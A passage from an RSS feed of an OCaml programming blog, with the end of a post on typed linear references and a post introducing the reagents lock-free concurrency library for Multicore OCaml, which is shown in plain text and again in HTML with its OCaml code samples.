Aliases are created explicitly with <code class="language-plaintext highlighter-rouge">dup</code>, which destroys the original
reference and returns two new references, each one level deeper than the
original reference. Two references from the same level can be merged together
to obtain a reference at the next higher level, and in doing so destroying the
original references. All of this machinery is to ensure that the resource can
only be <code class="language-plaintext highlighter-rouge">free</code>d when there is a unique reference.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">r</span> <span class="o">=</span> <span class="n">make</span> <span class="p">(</span><span class="k">fun</span> <span class="n">_</span> <span class="o">-&gt;</span> <span class="n">ref</span> <span class="mi">0</span><span class="p">);;</span>
<span class="k">val</span> <span class="n">r</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span> <span class="n">ref</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`One</span> <span class="p">])</span> <span class="n">t</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">abstr</span><span class="o">&gt;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">r1</span><span class="o">,</span><span class="n">r2</span> <span class="o">=</span> <span class="n">dup</span> <span class="n">r</span><span class="p">;;</span>
<span class="k">val</span> <span class="n">r1</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span> <span class="n">ref</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Succ</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`One</span> <span class="p">]</span> <span class="p">])</span> <span class="n">t</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">abstr</span><span class="o">&gt;</span>
<span class="k">val</span> <span class="n">r2</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span> <span class="n">ref</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Succ</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`One</span> <span class="p">]</span> <span class="p">])</span> <span class="n">t</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">abstr</span><span class="o">&gt;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">r11</span><span class="o">,</span><span class="n">r12</span> <span class="o">=</span> <span class="n">dup</span> <span class="n">r1</span><span class="p">;;</span>
<span class="k">val</span> <span class="n">r11</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span> <span class="n">ref</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Succ</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`Succ</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`One</span> <span class="p">]</span> <span class="p">]</span> <span class="p">])</span> <span class="n">t</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">abstr</span><span class="o">&gt;</span>
<span class="k">val</span> <span class="n">r12</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span> <span class="n">ref</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Succ</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`Succ</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`One</span> <span class="p">]</span> <span class="p">]</span> <span class="p">])</span> <span class="n">t</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">abstr</span><span class="o">&gt;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">r21</span><span class="o">,</span> <span class="n">r22</span> <span class="o">=</span> <span class="n">dup</span> <span class="n">r2</span><span class="p">;;</span>
<span class="k">val</span> <span class="n">r21</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span> <span class="n">ref</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Succ</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`Succ</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`One</span> <span class="p">]</span> <span class="p">]</span> <span class="p">])</span> <span class="n">t</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">abstr</span><span class="o">&gt;</span>
<span class="k">val</span> <span class="n">r22</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span> <span class="n">ref</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Succ</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`Succ</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`One</span> <span class="p">]</span> <span class="p">]</span> <span class="p">])</span> <span class="n">t</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">abstr</span><span class="o">&gt;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">r1</span> <span class="o">=</span> <span class="n">merge</span> <span class="n">r11</span> <span class="n">r22</span><span class="p">;;</span>
<span class="k">val</span> <span class="n">r1</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span> <span class="n">ref</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Succ</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`One</span> <span class="p">]</span> <span class="p">])</span> <span class="n">t</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">abstr</span><span class="o">&gt;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">r2</span> <span class="o">=</span> <span class="n">merge</span> <span class="n">r12</span> <span class="n">r21</span><span class="p">;;</span>
<span class="k">val</span> <span class="n">r2</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span> <span class="n">ref</span><span class="o">,</span> <span class="p">[</span> <span class="nt">`Succ</span> <span class="k">of</span> <span class="p">[</span> <span class="nt">`One</span> <span class="p">]</span> <span class="p">])</span> <span class="n">t</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">abstr</span><span class="o">&gt;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="n">free</span> <span class="p">(</span><span class="n">merge</span> <span class="n">r1</span> <span class="n">r2</span><span class="p">);;</span>
<span class="o">-</span> <span class="o">:</span> <span class="p">(</span><span class="kt">int</span> <span class="n">ref</span> <span class="o">-&gt;</span> <span class="kt">unit</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kt">unit</span> <span class="o">=</span> <span class="o">&lt;</span><span class="k">fun</span><span class="o">&gt;</span>
</code></pre></div></div>

<h2 id="conclusion">Conclusion</h2>

<p>Polymorphic variants are quite effective in encoding behavioural types.
However, the absence of linear types in OCaml makes us resort to dynamic tests
for linear use of resources. While it is possible to hide the resource under a
monad, combining the use of multiple resources would require monad
transformers, which is well known to be quite heavyweight in terms of
programmability. Perhaps an effect system would do the trick.</p>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[Lock-free programming for the masses]]></title>
            <link>https://kcsrk.info/ocaml/multicore/2016/06/11/lock-free/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/multicore/2016/06/11/lock-free/</guid>
            <pubDate>Sat, 11 Jun 2016 09:08:00 GMT</pubDate>
            <description><![CDATA[Efficient concurrent programming libraries are essential for taking advantage of
fine-grained parallelism on multicore hardware. In this post, I will introduce
reagents, a composable, lock-free
concurrency library for expressing fine-grained parallel programs on Multicore
OCaml. Reagents offer a
high-level DSL for experts to specify efficient concurrency libraries, but also
allows the consumers of the libraries to extend them further without knowing the
details of the underlying implementation.
Motivation
Designing and implementing scalable concurrency libraries is an enormous
undertaking. Decades of research and industrial effort has led to
state-of-the-art concurrency libraries such as
java.util.concurrent
(JUC) for the JVM and
System.Collections.Concurrent
(SCC) for the .NET framework. These libraries are often written by experts and
have subtle invariants, which makes them hard to maintain and improve. Moreover,
it is hard for the library user to safely combine multiple atomic operations.
For example, while JUC and SCC provide atomic operations on stacks and queues,
such atomic operations cannot be combined into larger atomic operations.
On the other hand software transactional memory (STM) offers
composability,
but STM based data structures are generally less efficient than their lock-free
counterparts, especially when there is moderate to high levels of contention.
Aaron Turon introduced
reagents, an expressive and
composable library which retains the performance and scalability of lock-free
programming. Reagents allow isolated atomic updates to shared state, as well as
message passing communication over channels. Furthermore, reagents provide a set
of combinators for sequential composition à la STM, parallel composition
à la Join calculus, and
selective communication à la Concurrent
ML, while being lock-free.
Reagents occupy this sweet-spot between expressivity and performance, and we
believe it could serve as a great default1 for writing fine-grained
concurrent programs in Multicore OCaml.
Combinators
The basic reagents combinators are presented below.
type ('a,'b) t

(* channel communication *)
val swap : ('a,'b) endpoint -> ('a,'b) t

(* shared memory *)
val upd : 'a ref -> ('a -> 'b -> ('a * 'c) option) -> ('b,'c) t

(* sequential composition *)
val (>>>) : ('a,'b) t -> ('b,'c) t -> ('a,'c) t
(* conjunction *)
val (<*>) : ('a,'b) t -> ('a,'c) t -> ('a,'b * 'c) t
(* disjunction *)
val (<+>) : ('a,'b) t -> ('a,'b) t -> ('a,'b) t

val run : ('a,'b) t -> 'a -> 'b


A reagent value with type ('a,'b) t represents an atomic transaction that
takes an input of type 'a and returns a value of type 'b. The basic atomic
operations are exchanging message on an endpoint of a channel through swap and
updating a shared reference through upd. The swap operation blocks the
calling thread until a matching swap operation is available on the dual
endpoint.
The atomic reference update operation upd, takes a function which is applied
to the current value of the reference (of type 'a) and the input value (of
type 'b), and is expected to return an optional pair of the new value for the
reference and a return value (of type 'c). If the update function returns
None, then the invoking thread blocks until the reference is updated. Reagent
implementation takes care of the blocking and signalling necessary for thread
wake up.
The most important feature of reagents is that it allows composition of reagent
transactions in sequence >>> and in parallel <*>, and also to selectively
choose one of the available operations <+>. Furthermore, these combinators
being arrows, enable
optimisations that cover the common case and help reagents achieve performance
commensurate to hand-written implementations. Reagents library also exposes
monadic combinators for convenience, at the cost of forgoing optimisation
opportunities.
A lock-free stack
The following is a reagent implementation of the Treiber lock-free
stack.
module R = Reagent

module TreiberStack : sig
  type 'a t
  val create  : unit -> 'a t
  val push    : 'a t -> ('a, unit) R.t
  val pop     : 'a t -> (unit, 'a) R.t
  val try_pop : 'a t -> (unit, 'a option) R.t
end = struct
  type 'a t = 'a list R.ref

  let create () = R.ref []

  let push r =
    R.upd r (fun xs x -> Some (x::xs,()))

  let try_pop r = R.upd r (fun l () ->
    match l with
    | [] -> Some ([], None)
    | x::xs -> Some (xs, Some x))

  let pop r = Ref.upd r (fun l () ->
    match l with
    | [] -> None
    | x::xs -> Some (xs,x))
end


We utilise a shared reference of type 'a list ref to represent the stack and
use the upd operation to perform atomic operations on the stack. The important
take away from this snippet is that the code is no more complicated than a
sequential stack implementation. The logic for backoff, retry, blocking and
signalling are hidden behind the reagents implementation. In particular, the
pop operation blocks the calling thread until the stack is non-empty. Thus,
the experts can write efficient concurrency libraries using reagents while
preserving readability (and as a consequence maintainability) of code.
Furthermore, since the stack interface is exposed as reagents, the individual
operations can be further composed. For example, given two Treiber stacks s1
and s2, pop s1 >>> push s2 transfers elements atomically between the stacks,
pop s1 <*> pop s2 consumes elements atomically from both of the stacks, and
pop s1 <+> pop s2 consumes an element from either of the stacks. Importantly,
the composition preserves the optimisations and blocking/signalling behaviours,
allowing the users of the library to arbitrarily combine and extend the
functionality without knowing about the underlying implementation.
Feeding the philosophers
The parallel composition combinator provides an elegant way to solve the Dining
Philosophers
problem. The problem
imagines a set of philosophers seated around a circular table, forever
alternating between thinking and eating. Forks are placed between adjacent
philosophers, and each philosopher can only eat after obtaining both the left
and right forks. The goal is to design a solution where no philosopher will
starve. The problem highlights the issues of deadlock and fairness in concurrent
programming.
One way to solve this problem is to model each fork as a pair of endpoints, one
for taking and another for dropping the fork.
type fork =
  {drop : (unit,unit) endpoint;
   take : (unit,unit) endpoint}

let mk_fork () =
  let drop, take = mk_chan () in
  {drop; take}

let drop f = swap f.drop
let take f = swap f.take


Now, the solution for a single round of eating can be implemented as follows:
let eat l_fork r_fork =
  ignore @@ run (take l_fork <*> take r_fork) ();
  (* ...
   * eat
   * ... *)
  spawn @@ run (drop l_fork);
  spawn @@ run (drop r_fork)


We use take l_fork <*> take r_fork to atomically take both of the forks.
Reagents ensure that the protocol does not deadlock. After eating, we release
the forks by spawning lightweight threads. In the next round, the philosophers
race for the available forks. If the thread scheduler is fair, then the
protocol provides fairness among the philosophers. The complete solution is
available
here.
Implementation
The key idea behind the implementation is that the reagent transaction executes
in two phases. The first phase involves collecting all the compare-and-swap
(CAS) operations necessary for the transaction, and the second phase is invoking
a k-CAS operation (emulated in software). The failure to gather all the
available CASes constitutes a permanent failure, causing the thread to explore
other alternatives in the case of a selective communication or block otherwise.
The failure in the second phase means that there is active interference from
other concurrent threads, in which case the transaction is retried.
Performance of the Reagents depends critically on having fine-grained control
over threads and schedulers for implementing backoff loops, blocking and
signalling. However, one of the main ideas of multicore OCaml is not to bake in
the thread scheduler into the compiler but rather describe them as libraries. To
this end, the reagents library is functorized over the following generic
scheduler interface:
module type Scheduler = sig
  (* continuation *)
  type 'a cont
  effect Suspend : ('a cont -> 'a option) -> 'a
  effect Resume  : 'a cont * 'a -> unit
end


The interface itself only describes the scheduler’s effects, whose behaviour is
defined by the
handlers.
perform (Suspend f) applies f to the current continuation, and allows the
Reagent library to stash the thread on the unavailable resource’s wait queue.
The return type of f is an option to handle the case when the resource might
have become available while suspending. If f returns None, then the control
returns to the scheduler. Once the resource becomes available, the reagent
library performs the Resume effect to resume the suspended thread.
Comparison to STM
Reagents are less expressive than STM, which provides serializability. But in
return, Reagents provide stronger progress guarantee (lock-freedom) over STM
(obstruction-freedom)2. A reagent transaction operating more than once on
the same memory location will fail at runtime. Abstractly, this behaviour is
disallowed since it cannot be represented as a k-CAS operation. Due to this
restriction, the transaction pop s1 >>> push s1 always fails, and prohibits
important patterns such as atomically pushing or popping multiple values from
the same stack. I am currently working on extending the reagents semantics to
relax this invariant. The resultant behaviour will be similar to a version of
snapshot isolation. While this is weaker than serializability semantics offered
by the STM, we will retain the benefit of lock-freedom.
Contribute!
Using the reagents library, we have implemented a collection of composable
concurrent data and synchronization structures such as stacks, queues, countdown
latches, reader-writer locks, condition variables, exchangers, atomic counters,
etc. There is great opportunity here to build a standard library for
fine-grained parallelism for Multicore OCaml, incorporating the latest
developments in lock-free data structures. There is still work to be done
optimising the implementation to remove allocations in the fast path, and
fine-tuning the reagents core.
Contributions to the library are most
welcome, and is a great way to contribute to the Multicore OCaml effort. Please
do file those issues and submit pull-requests.
Reagents is just a library, and you can implement your own favourite concurrent programming library. ↩
And then there are good arguments to why the semantics should be even weaker. ↩]]></description>
            <content:encoded><![CDATA[<p>Efficient concurrent programming libraries are essential for taking advantage of
fine-grained parallelism on multicore hardware. In this post, I will introduce
<a href="https://github.com/ocamllabs/reagents"><em>reagents</em></a>, a composable, lock-free
concurrency library for expressing fine-grained parallel programs on <a href="https://github.com/ocamllabs/ocaml-multicore/wiki">Multicore
OCaml</a>. Reagents offer a
high-level DSL for experts to specify efficient concurrency libraries, but also
allows the consumers of the libraries to extend them further without knowing the
details of the underlying implementation.</p>

<!--_more-->

<h2 id="motivation">Motivation</h2>

<p>Designing and implementing scalable concurrency libraries is an enormous
undertaking. Decades of research and industrial effort has led to
state-of-the-art concurrency libraries such as
<a href="https://docs.oracle.com/javase/7/docs/api/java/util/concurrent/package-summary.htm://docs.oracle.com/javase/7/docs/api/java/util/concurrent/package-summary.html">java.util.concurrent</a>
(JUC) for the JVM and
<a href="https://msdn.microsoft.com/en-us/library/dd460718(v=vs.110).aspx">System.Collections.Concurrent</a>
(SCC) for the .NET framework. These libraries are often written by experts and
have subtle invariants, which makes them hard to maintain and improve. Moreover,
it is hard for the library user to safely combine multiple atomic operations.
For example, while JUC and SCC provide atomic operations on stacks and queues,
such atomic operations cannot be combined into larger atomic operations.</p>

<p>On the other hand software transactional memory (STM) offers
<a href="http://research.microsoft.com/pubs/67418/2005-ppopp-composable.pdf">composability</a>,
but STM based data structures are generally less efficient than their lock-free
counterparts, especially when there is moderate to high levels of contention.
<a href="https://github.com/aturon">Aaron Turon</a> introduced
<a href="https://www.mpi-sws.org/~turon/reagents.pdf">reagents</a>, an expressive and
composable library which retains the performance and scalability of lock-free
programming. Reagents allow isolated atomic updates to shared state, as well as
message passing communication over channels. Furthermore, reagents provide a set
of combinators for sequential composition à la STM, parallel composition
à la <a href="https://en.wikipedia.org/wiki/Join-calculus">Join calculus</a>, and
selective communication à la <a href="https://en.wikipedia.org/wiki/Concurrent_ML">Concurrent
ML</a>, while being lock-free.
Reagents occupy this sweet-spot between expressivity and performance, and we
believe it could serve as a great default<sup id="fnref:lib" role="doc-noteref"><a href="#fn:lib" class="footnote" rel="footnote">1</a></sup> for writing fine-grained
concurrent programs in Multicore OCaml.</p>

<h2 id="combinators">Combinators</h2>

<p>The basic reagents combinators are presented below.</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="k">type</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">t</span>

<span class="c">(* channel communication *)</span>
<span class="k">val</span> <span class="n">swap</span> <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">endpoint</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">t</span>

<span class="c">(* shared memory *)</span>
<span class="k">val</span> <span class="n">upd</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">ref</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">b</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span> <span class="o">*</span> <span class="k">'</span><span class="n">c</span><span class="p">)</span> <span class="n">option</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">b</span><span class="o">,</span><span class="k">'</span><span class="n">c</span><span class="p">)</span> <span class="n">t</span>

<span class="c">(* sequential composition *)</span>
<span class="k">val</span> <span class="p">(</span><span class="o">&gt;&gt;&gt;</span><span class="p">)</span> <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">b</span><span class="o">,</span><span class="k">'</span><span class="n">c</span><span class="p">)</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">c</span><span class="p">)</span> <span class="n">t</span>
<span class="c">(* conjunction *)</span>
<span class="k">val</span> <span class="p">(</span><span class="o">&lt;*&gt;</span><span class="p">)</span> <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">c</span><span class="p">)</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span> <span class="o">*</span> <span class="k">'</span><span class="n">c</span><span class="p">)</span> <span class="n">t</span>
<span class="c">(* disjunction *)</span>
<span class="k">val</span> <span class="p">(</span><span class="o">&lt;+&gt;</span><span class="p">)</span> <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">t</span>

<span class="k">val</span> <span class="n">run</span> <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span><span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">b</span></code></pre></figure>

<p>A reagent value with type <code class="language-plaintext highlighter-rouge">('a,'b) t</code> represents an atomic transaction that
takes an input of type <code class="language-plaintext highlighter-rouge">'a</code> and returns a value of type <code class="language-plaintext highlighter-rouge">'b</code>. The basic atomic
operations are exchanging message on an endpoint of a channel through <code class="language-plaintext highlighter-rouge">swap</code> and
updating a shared reference through <code class="language-plaintext highlighter-rouge">upd</code>. The <code class="language-plaintext highlighter-rouge">swap</code> operation blocks the
calling thread until a matching swap operation is available on the dual
endpoint.</p>

<p>The atomic reference update operation <code class="language-plaintext highlighter-rouge">upd</code>, takes a function which is applied
to the current value of the reference (of type <code class="language-plaintext highlighter-rouge">'a</code>) and the input value (of
type <code class="language-plaintext highlighter-rouge">'b</code>), and is expected to return an optional pair of the new value for the
reference and a return value (of type <code class="language-plaintext highlighter-rouge">'c</code>). If the update function returns
<code class="language-plaintext highlighter-rouge">None</code>, then the invoking thread blocks until the reference is updated. Reagent
implementation takes care of the blocking and signalling necessary for thread
wake up.</p>

<p>The most important feature of reagents is that it allows composition of reagent
transactions in sequence <code class="language-plaintext highlighter-rouge">&gt;&gt;&gt;</code> and in parallel <code class="language-plaintext highlighter-rouge">&lt;*&gt;</code>, and also to selectively
choose one of the available operations <code class="language-plaintext highlighter-rouge">&lt;+&gt;</code>. Furthermore, these combinators
being <a href="http://www.cse.chalmers.se/~rjmh/afp-arrows.pdf">arrows</a>, enable
optimisations that cover the common case and help reagents achieve performance
commensurate to hand-written implementations. Reagents library also exposes
monadic combinators for convenience, at the cost of forgoing optimisation
opportunities.</p>

<h2 id="a-lock-free-stack">A lock-free stack</h2>

<p>The following is a reagent implementation of the <a href="https://en.wikipedia.org/wiki/Treiber_Stack">Treiber lock-free
stack</a>.</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="k">module</span> <span class="nc">R</span> <span class="o">=</span> <span class="nc">Reagent</span>

<span class="k">module</span> <span class="nc">TreiberStack</span> <span class="o">:</span> <span class="k">sig</span>
  <span class="k">type</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">create</span>  <span class="o">:</span> <span class="kt">unit</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">push</span>    <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="kt">unit</span><span class="p">)</span> <span class="nn">R</span><span class="p">.</span><span class="n">t</span>
  <span class="k">val</span> <span class="n">pop</span>     <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="kt">unit</span><span class="o">,</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span> <span class="nn">R</span><span class="p">.</span><span class="n">t</span>
  <span class="k">val</span> <span class="n">try_pop</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="kt">unit</span><span class="o">,</span> <span class="k">'</span><span class="n">a</span> <span class="n">option</span><span class="p">)</span> <span class="nn">R</span><span class="p">.</span><span class="n">t</span>
<span class="k">end</span> <span class="o">=</span> <span class="k">struct</span>
  <span class="k">type</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">=</span> <span class="k">'</span><span class="n">a</span> <span class="kt">list</span> <span class="nn">R</span><span class="p">.</span><span class="n">ref</span>

  <span class="k">let</span> <span class="n">create</span> <span class="bp">()</span> <span class="o">=</span> <span class="nn">R</span><span class="p">.</span><span class="n">ref</span> <span class="bp">[]</span>

  <span class="k">let</span> <span class="n">push</span> <span class="n">r</span> <span class="o">=</span>
    <span class="nn">R</span><span class="p">.</span><span class="n">upd</span> <span class="n">r</span> <span class="p">(</span><span class="k">fun</span> <span class="n">xs</span> <span class="n">x</span> <span class="o">-&gt;</span> <span class="nc">Some</span> <span class="p">(</span><span class="n">x</span><span class="o">::</span><span class="n">xs</span><span class="o">,</span><span class="bp">()</span><span class="p">))</span>

  <span class="k">let</span> <span class="n">try_pop</span> <span class="n">r</span> <span class="o">=</span> <span class="nn">R</span><span class="p">.</span><span class="n">upd</span> <span class="n">r</span> <span class="p">(</span><span class="k">fun</span> <span class="n">l</span> <span class="bp">()</span> <span class="o">-&gt;</span>
    <span class="k">match</span> <span class="n">l</span> <span class="k">with</span>
    <span class="o">|</span> <span class="bp">[]</span> <span class="o">-&gt;</span> <span class="nc">Some</span> <span class="p">([]</span><span class="o">,</span> <span class="nc">None</span><span class="p">)</span>
    <span class="o">|</span> <span class="n">x</span><span class="o">::</span><span class="n">xs</span> <span class="o">-&gt;</span> <span class="nc">Some</span> <span class="p">(</span><span class="n">xs</span><span class="o">,</span> <span class="nc">Some</span> <span class="n">x</span><span class="p">))</span>

  <span class="k">let</span> <span class="n">pop</span> <span class="n">r</span> <span class="o">=</span> <span class="nn">Ref</span><span class="p">.</span><span class="n">upd</span> <span class="n">r</span> <span class="p">(</span><span class="k">fun</span> <span class="n">l</span> <span class="bp">()</span> <span class="o">-&gt;</span>
    <span class="k">match</span> <span class="n">l</span> <span class="k">with</span>
    <span class="o">|</span> <span class="bp">[]</span> <span class="o">-&gt;</span> <span class="nc">None</span>
    <span class="o">|</span> <span class="n">x</span><span class="o">::</span><span class="n">xs</span> <span class="o">-&gt;</span> <span class="nc">Some</span> <span class="p">(</span><span class="n">xs</span><span class="o">,</span><span class="n">x</span><span class="p">))</span>
<span class="k">end</span></code></pre></figure>

<p>We utilise a shared reference of type <code class="language-plaintext highlighter-rouge">'a list ref</code> to represent the stack and
use the <code class="language-plaintext highlighter-rouge">upd</code> operation to perform atomic operations on the stack. The important
take away from this snippet is that the code is no more complicated than a
sequential stack implementation. The logic for backoff, retry, blocking and
signalling are hidden behind the reagents implementation. In particular, the
<code class="language-plaintext highlighter-rouge">pop</code> operation blocks the calling thread until the stack is non-empty. Thus,
the experts can write efficient concurrency libraries using reagents while
preserving readability (and as a consequence maintainability) of code.</p>

<p>Furthermore, since the stack interface is exposed as reagents, the individual
operations can be further composed. For example, given two Treiber stacks <code class="language-plaintext highlighter-rouge">s1</code>
and <code class="language-plaintext highlighter-rouge">s2</code>, <code class="language-plaintext highlighter-rouge">pop s1 &gt;&gt;&gt; push s2</code> transfers elements atomically between the stacks,
<code class="language-plaintext highlighter-rouge">pop s1 &lt;*&gt; pop s2</code> consumes elements atomically from both of the stacks, and
<code class="language-plaintext highlighter-rouge">pop s1 &lt;+&gt; pop s2</code> consumes an element from either of the stacks. Importantly,
the composition preserves the optimisations and blocking/signalling behaviours,
allowing the users of the library to arbitrarily combine and extend the
functionality without knowing about the underlying implementation.</p>

<h2 id="feeding-the-philosophers">Feeding the philosophers</h2>

<p>The parallel composition combinator provides an elegant way to solve the <a href="https://en.wikipedia.org/wiki/Dining_philosophers_problem">Dining
Philosophers
problem</a>. The problem
imagines a set of philosophers seated around a circular table, forever
alternating between thinking and eating. Forks are placed between adjacent
philosophers, and each philosopher can only eat after obtaining both the left
and right forks. The goal is to design a solution where no philosopher will
starve. The problem highlights the issues of deadlock and fairness in concurrent
programming.</p>

<p>One way to solve this problem is to model each fork as a pair of endpoints, one
for taking and another for dropping the fork.</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="k">type</span> <span class="n">fork</span> <span class="o">=</span>
  <span class="p">{</span><span class="n">drop</span> <span class="o">:</span> <span class="p">(</span><span class="kt">unit</span><span class="o">,</span><span class="kt">unit</span><span class="p">)</span> <span class="n">endpoint</span><span class="p">;</span>
   <span class="n">take</span> <span class="o">:</span> <span class="p">(</span><span class="kt">unit</span><span class="o">,</span><span class="kt">unit</span><span class="p">)</span> <span class="n">endpoint</span><span class="p">}</span>

<span class="k">let</span> <span class="n">mk_fork</span> <span class="bp">()</span> <span class="o">=</span>
  <span class="k">let</span> <span class="n">drop</span><span class="o">,</span> <span class="n">take</span> <span class="o">=</span> <span class="n">mk_chan</span> <span class="bp">()</span> <span class="k">in</span>
  <span class="p">{</span><span class="n">drop</span><span class="p">;</span> <span class="n">take</span><span class="p">}</span>

<span class="k">let</span> <span class="n">drop</span> <span class="n">f</span> <span class="o">=</span> <span class="n">swap</span> <span class="n">f</span><span class="o">.</span><span class="n">drop</span>
<span class="k">let</span> <span class="n">take</span> <span class="n">f</span> <span class="o">=</span> <span class="n">swap</span> <span class="n">f</span><span class="o">.</span><span class="n">take</span></code></pre></figure>

<p>Now, the solution for a single round of eating can be implemented as follows:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="k">let</span> <span class="n">eat</span> <span class="n">l_fork</span> <span class="n">r_fork</span> <span class="o">=</span>
  <span class="n">ignore</span> <span class="o">@@</span> <span class="n">run</span> <span class="p">(</span><span class="n">take</span> <span class="n">l_fork</span> <span class="o">&lt;*&gt;</span> <span class="n">take</span> <span class="n">r_fork</span><span class="p">)</span> <span class="bp">()</span><span class="p">;</span>
  <span class="c">(* ...
   * eat
   * ... *)</span>
  <span class="n">spawn</span> <span class="o">@@</span> <span class="n">run</span> <span class="p">(</span><span class="n">drop</span> <span class="n">l_fork</span><span class="p">);</span>
  <span class="n">spawn</span> <span class="o">@@</span> <span class="n">run</span> <span class="p">(</span><span class="n">drop</span> <span class="n">r_fork</span><span class="p">)</span></code></pre></figure>

<p>We use <code class="language-plaintext highlighter-rouge">take l_fork &lt;*&gt; take r_fork</code> to <em>atomically</em> take both of the forks.
